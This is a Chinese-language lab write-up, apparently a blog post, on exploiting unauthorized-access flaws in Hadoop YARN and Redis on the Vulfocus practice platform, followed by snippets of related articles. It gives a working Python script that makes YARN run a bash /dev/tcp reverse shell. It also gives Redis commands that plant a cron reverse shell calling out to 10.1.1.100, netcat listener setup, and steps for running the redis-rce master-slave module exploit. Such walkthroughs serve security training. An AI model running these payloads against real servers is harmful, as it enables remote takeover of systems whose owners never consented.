Hadoop & Redis未授权漏洞实战——Vulfocus服务攻防
什么是未授权访问漏洞?Hadoop & Redis靶场实战——Vulfocus服务攻防
一、介绍
未授权访问,也称为未经授权的访问或非法访问,是指在没有得到适当权限或授权的情况下,个人或系统访问了网络、计算机、数据库、文件、应用程序或其他受保护资源的行为。这种访问可能出于恶意或非恶意的目的,但无论其意图如何,未授权访问都可能导致敏感信息的泄露、数据的篡改或破坏、系统功能的异常,甚至更严重的安全事件。
未授权访问的常见攻击手段包括但不限于:
- 利用已知的系统漏洞或弱点。
- 通过猜测、破解或窃取密码等认证信息。
- 使用恶意软件,如病毒、木马等,来绕过安全机制。
- 社交工程,如诱骗用户泄露敏感信息。
二、靶场介绍--Vulfocus
image-20240628174734673
Vulfocus是一个便捷的漏洞集成平台,用户只需加载漏洞环境的Docker镜像即可快速使用。它具备一键启动、自动更新flag、计分考核等特性,适用于安全测试和能力评估。平台兼容Vulhub和Vulapps的镜像,支持可视化配置,是安全人员的理想工具。
在线位置:https://vulfocus.cn/#/dashboard
离线版本:https://github.com/fofapro/vulfocus (即使没有网络也可以在本地进行渗透测试)
Tips:docker 部署过程需要科x上网,本地使用不需要,要么使用国外服务器,使用linux部署靶场我没有找到linux版本的科x上网工具,大多数科x上网工具都是windows的,所以使用windows的版本docker(docker desktop)来部署,使用即可这个坑踩了一天。。。
三、漏洞复现
1、Hadoop
Hadoop是一个由Apache基金会开发的分布式系统基础架构,主要解决海量数据的存储和分析计算问题。它起源于Lucene框架,受Google大数据论文启发,发展出HDFS、MapReduce和Hbase等核心组件。2005年,Hadoop作为Lucene子项目Nutch的一部分加入Apache,2006年成为独立项目。Hadoop的命名来自创始人Doug Cutting儿子的玩具大象,它的诞生标志着云计算时代的到来。
Hadoop的主要用于:
- 分布式存储:通过Hadoop分布式文件系统(HDFS),Hadoop能够存储海量数据,提供高吞吐量的数据访问。
- 分布式计算:利用MapReduce编程模型,Hadoop能够处理大量数据集,执行并行计算任务,提高数据处理效率。
- 数据挖掘和分析:Hadoop支持复杂的数据分析和数据挖掘任务,帮助用户从大规模数据集中提取有价值的信息。
Hadoop YARN的ResourceManager是集群资源分配和调度的关键,若出现未授权访问漏洞,可能使未认证用户访问或操纵资源,引发数据泄露、资源滥用或服务中断。此类安全问题需及时修复,以保护集群安全。
该漏洞涉及版本:hadoop 3.3.0以下
搜索hadoop,启动环境即可
image-20240628230649091
访问靶场给你的第一个ip地址,就可以进入hadoop网页界面
image-20240628212546340
查看版本,2.8.1,存在未授权访问漏洞
image-20240628230533998
使用python脚本进行shell反弹
exp脚本参考:https://www.cnblogs.com/cute-puli/p/14944637.html
!/usr/bin/env python
import requests
target = 'http://123.58.224.8:32220/' 目标网址
lhost = '用来反弹的ip,公网能访问的ip' # put your local host ip here, and listen at port 9999
url = target + 'ws/v1/cluster/apps/new-application'
resp = requests.post(url)
app_id = resp.json()['application-id']
url = target + 'ws/v1/cluster/apps'
data = {
'application-id': app_id,
'application-name': 'get-shell',
'am-container-spec': {
'commands': {
'command': '/bin/bash -i >& /dev/tcp/%s/公网ip监听的端口号 0>&1' % lhost,
},
},
'application-type': 'YARN',
}
requests.post(url, json=data)
使用终端或者其他shell工具连接你的公网服务器,我的是centos系统,
终端连接ssh协议
ssh root@192.168.128.128
连接之后下载netcat瑞士军刀命令yum install -y nc,启动监听
nc -lvvp 4443
image-20240629164758105
注意,启动监听之前需要放行你监听的防火墙端口,否则之后执行py脚本会导致没有任何反应,查看你的端口放行情况
iptables -L -n -v
-L 表示列出所有规则
-n 表示以数字形式显示地址和端口号
-v 表示显示详细信息
image-20240629162417688
新建一个终端执行你的脚本即可
python .\hadoop-payload.py
反弹成功
image-20240629161403142
再根据题目提示,找到flag提交即可
2、Redis
CNVD-2019-21763是关于Redis数据库的一个远程命令执行漏洞,其原理主要涉及到Redis 4.x及更高版本中新增的模块功能以及主从同步机制的不当使用,它的默认端口为6379,漏洞等级:高危。
image-20240629232057487
端口探测:
由于我启动的vulfocus靶场redis端口为64239,所以nmap扫描命令如下
nmap -v -Pn -p 64239 -sV 123.58.224.8
发现存在64239 redis服务默认端口
image-20240629223634082
使用redis-cli测试靶机的redis是否支持远程连接,经过测试支持
redis-cli -h 123.58.224.8 -p 64239
然后并且追加如下内容
set xxx "\n\n 1 * * * * /bin/bash -i>& /dev/tcp/10.1.1.100/44330>&1\n\n"
config set dir /var/
config set dbfilename root
save
image-20240629233408677
知识扩展:
在面对大量读写数据时,单个Redis实例可能会承受巨大压力。为了解决这个问题,Redis引入了主从模式。在此模式下,一个Redis实例作为主机,负责处理所有的写操作,而其他实例作为从机,与主机保持数据同步,并专门处理读请求。这种读写分离的策略有效减轻了服务器的负载,是通过增加空间使用来换取系统处理效率的一种策略。进一步地,Redis 4.x版本后,通过新增的模块功能,开发者可以使用C语言编写并编译成.so文件,从而在Redis中实现自定义的新命令,进一步扩展了Redis的功能和应用场景。——主从复制RCE
发现保存的时候怎么也保存不了,又花了半小时,找到了这个方法--手动编译 so 扩展文件,忍不住这回当了脚本小子,执行如下命令
git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand
cd RedisModules-ExecuteCommand/
这是我的目录效果
image-20240629232424034
继续
git clone https://github.com/Ridter/redis-rce.git
cd redis-rce/
image-20240629232510843
cd ../
将module.so复制一份到当前目录下的redis-rce
cp module.so ./redis-rce
使用pip安装依赖
pip install -r requirements.txt
image-20240629232712601
执行攻击之前,需要放行21000端口
python redis-rce.py -r 123.58.236.76(靶机) -p redis端口 -L vps的IP地址 -f module.so
中途超时了一下所以我的靶场redis端口变成了 11778
image-20240629232836889
redis-cnvd_2015_07557做法同理,更改靶场ip和端口即可
原文链接:https://mp.weixin.qq.com/s/4gHAAg_c66Y0zgq8id_sNA
Hadoop & Redis未授权漏洞实战——Vulfocus服务攻防的更多相关文章
- redis 未授权漏洞利用直接登录服务器
在没有查到杀手之前我是先把带宽&端口用iptables 做了限制这样能保证我能远程操作服务器才能查找原因 2 在各种netstat –ntlp 的查看下没有任何异常 在top 下查到了有异常 ...
- Redis未授权漏洞检测工具
Redis未授权检测小工具 #!/usr/bin/python3 # -*- coding: utf-8 -*- """ @Author: r0cky @Time: 20 ...
- Redis未授权漏洞利用方式
总结一下redis未授权拿shell: redis-cli -h ip >info 查看系统类型 Windows: 1.找网站绝对路径 2.config set dir 绝对路径根路径 conf ...
- redis未授权漏洞和主从复制rce漏洞利用
未授权无需认证访问内部数据库. 利用计划任务反弹shell redis-cli -h 192.168.2.6 set x "\n* * * * * bash -i >& /de ...
- 服务器由于redis未授权漏洞被攻击
昨天阿里云拦截到了一次异常登陆,改了密码后就没有管他, 今天阿里云给我发消息说我的服务器可能被黑客利用,存在恶意发包行为....... 不过我不打算只是单纯的重置系统,经过一系列的查找原因后,发现被攻 ...
- 浅谈Redis未授权访问漏洞
Redis未授权访问漏洞 Redis是一种key-value键值对的非关系型数据库 默认情况下绑定在127.0.0.1:6379,在没有进行采用相关的策略,如添加防火墙规则避免其他非信任来源ip访问等 ...
- Redis未授权访问漏洞复现及修复方案
首先,第一个复现Redis未授权访问这个漏洞是有原因的,在 2019-07-24 的某一天,我同学的服务器突然特别卡,卡到连不上的那种,通过 top,free,netstat 等命令查看后发现,CPU ...
- 利用redis未授权访问漏洞(windows版)
0x00 原理 首先需要知道的是,redis是一种非关系型数据库.它在默认情况下,绑定在0.0.0.0:6379 ,若不采取相关策略,比如添加防火墙限制非信任IP访问,会使得redis服务暴露到公 ...
- redis未授权getshell的4种方式
前言 redis未授权漏洞或弱口令一直是很有用的渗透突破口,最近正好闲的无事就拿redis来测试一些,做一个简单的收集,方便自己日后的回顾. 漏洞描述 Redis 默认情况下,会绑定在 0.0.0.0 ...
- [ Redis ] Redis 未授权访问漏洞被利用,服务器登陆不上
一.缘由: 突然有一天某台服务器远程登陆不上,试了好几个人的账号都行,顿时慌了,感觉服务器被黑.在终于找到一个还在登陆状态的同事后,经查看/ect/passwd 和/etc/passwd-异常,文件中 ...
随机推荐
- manim边学边做--Matrix
在代数问题中,矩阵是必不可少的工具,manim中提供了一套展示矩阵(Matrix)的模块,专门用于在动画中显示矩阵格式的数据.关于矩阵的类主要有4个: Matrix:通用的矩阵 IntegerMatr ...
- C# LINQ之IEqualityComparer<>接口应用
在C#语言中,对集合的条件查询.分组统计等操作使用LINQ非常方便,LINQ的语法格式与SQL非常相似和便捷,而LINQ扩展方法配合Lambda更为简洁,如All.Any.Count.Max等Enum ...
- OpenAI深夜丢炸弹硬杠谷歌搜索
这几年科技变革太快,AI更是飞速发展,作为一名IT老兵,使用过的搜索引擎也是一换再换.这不,刚消停了一段时间的OpenAI又丢出一个炸弹SearchGPT,直接跟谷歌掀桌子了. 1.谷歌搜索的无奈 早 ...
- 探索Amazon S3:存储解决方案的基石(Amazon S3使用记录)
探索Amazon S3:存储解决方案的基石 本文为上一篇minio使用的衍生版 相关链接:1.https://www.cnblogs.com/ComfortableM/p/18286363 2.h ...
- Jmeter函数助手18-machineIP
machineIP函数用于获取本地IP地址. 存储结果的变量名(可选) 1.本地ip可以在cmd运行界面输入命令"ipconfig"查看,Jmeter则使用函数获取${__mach ...
- 10、Git之国内项目托管平台(Gitee码云)
10.1.简介 众所周知,GitHub 服务器在国外,如果网络不好的话,严重影响使用体验,甚至会出现登录不上的情况. 针对这个情况,可以使用国内的项目托管平台-- Gitee 码云,来替代 Githu ...
- 8、IDEA集成Git
8.1.配置Git忽略文件 8.1.1.忽略文件的原因 在使用 IDE 工具时,会自动生成一些和项目源码无关的文件,所以可以让 Git 忽略这些文件. 此外,把这些无关文件忽略掉,还能够屏蔽不同 ID ...
- 【RabbitMQ】11 深入部分P4 延迟队列
一.延迟队列: 消息经过交换机分配到队列上之后,在到达指定的时间,才会被消费? 需求: 1.下单之后的30分钟,用户未支付,订单取消,回滚库存 2.新用户注册7天后,发送短信慰问,或者是用户生日发送短 ...
- 在docker 容器开启ssh , 并映射22端口到物理载体机上以使外网访问
1. 运行某镜像以启动容器 docker run -it -p 127.0.0.1:5000:22 c7fe6d9267f8 /bin/bash -p 为指定端口, 127.0.0.1 为映射到的物 ...
- python进程绑定CPU的一些Demo
从https://www.cnblogs.com/devilmaycry812839668/p/17066212.html中知道如何对python进程设置CPU绑定,本文对此进行一些延伸,给出一些例子 ...